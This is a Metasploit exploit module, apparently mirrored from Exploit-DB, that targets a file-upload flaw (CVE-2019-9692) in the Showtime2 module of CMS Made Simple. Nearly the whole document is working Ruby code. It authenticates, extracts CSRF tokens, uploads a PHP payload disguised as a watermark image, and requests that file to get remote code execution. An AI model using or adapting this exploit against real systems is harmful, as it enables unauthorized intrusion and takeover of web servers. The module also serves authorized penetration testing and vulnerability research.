CMS Made Simple (CMSMS) Showtime2 – File Upload Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-03-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46627/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",
    'Description' => %q(
    This module exploits a File Upload vulnerability that lead in a RCE in
    Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated
    user with "Use Showtime2" privilege could exploit the vulnerability.
    
    The vulnerability exists in the Showtime2 module, where the class
    "class.showtime2_image.php" does not ensure that a watermark file
    has a standard image file extension (GIF, JPG, JPEG, or PNG).
    
    Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,
    3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1
    ),
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'Daniele Scanu', # Discovery & PoC
    'Fabio Cogno' # Metasploit module
    ],
    'References' =>
    [
    ['CVE', '2019-9692'],
    ['CWE', '434'],
    ['EDB', '46546'],
    ['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],
    ['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']
    ],
    'Platform' => 'php',
    'Arch' => ARCH_PHP,
    'Targets' => [['Automatic', {}]],
    'Privileged' => false,
    'DisclosureDate' => "Mar 11 2019",
    'DefaultTarget' => 0))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),
    OptString.new('USERNAME', [true, "Username to authenticate with", '']),
    OptString.new('PASSWORD', [false, "Password to authenticate with", ''])
    ]
    )
    end
    
    def do_login
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
    'vars_post' => {
    'username' => datastore['username'],
    'password' => datastore['password'],
    'loginsubmit' => 'Submit'
    }
    )
    
    unless res
    fail_with(Failure::Unreachable, 'Connection failed')
    end
    
    if res.code == 302
    @csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s
    @csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s
    @cookies = res.get_cookies
    return
    end
    
    fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
    end
    
    def upload(fname, fcontent)
    # construct POST data
    data = Rex::MIME::Message.new
    data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
    data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
    data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")
    data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")
    
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
    'ctype' => "multipart/form-data; boundary=#{data.bound}",
    'data' => data.to_s,
    'headers' => {
    'Cookie' => @cookies
    }
    )
    
    unless res
    fail_with(Failure::Unreachable, 'Connection failed')
    end
    
    if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)
    return
    end
    
    print_warning('No confidence in PHP payload success or failure')
    end
    
    def check
    res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
    )
    
    unless res
    vprint_error 'Connection failed'
    return CheckCode::Unknown
    end
    
    if res.code == 200
    module_version = Gem::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
    if module_version < Gem::Version.new('3.6.3')
    # Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.
    vprint_status("Showtime2 version: #{module_version}")
    return Exploit::CheckCode::Appears
    end
    end
    
    return Exploit::CheckCode::Safe
    end
    
    def exploit
    unless Exploit::CheckCode::Appears == check
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    
    @csrf_name = nil
    @csrf_value = nil
    @cookies = nil
    
    do_login
    
    # Upload PHP payload
    fname = "#{rand_text_alphanumeric(3..9)}.php"
    fcontent = "<?php #{payload.encode} ?>"
    print_status('Uploading PHP payload.')
    upload(fname, fcontent)
    
    # Register uploaded PHP payload file for cleanup
    register_files_for_cleanup('./' + fname)
    
    # Retrieve and execute PHP payload
    print_status("Making request for '/#{fname}' to execute payload.")
    send_request_cgi(
    {
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)
    },
    15
    )
    end
    end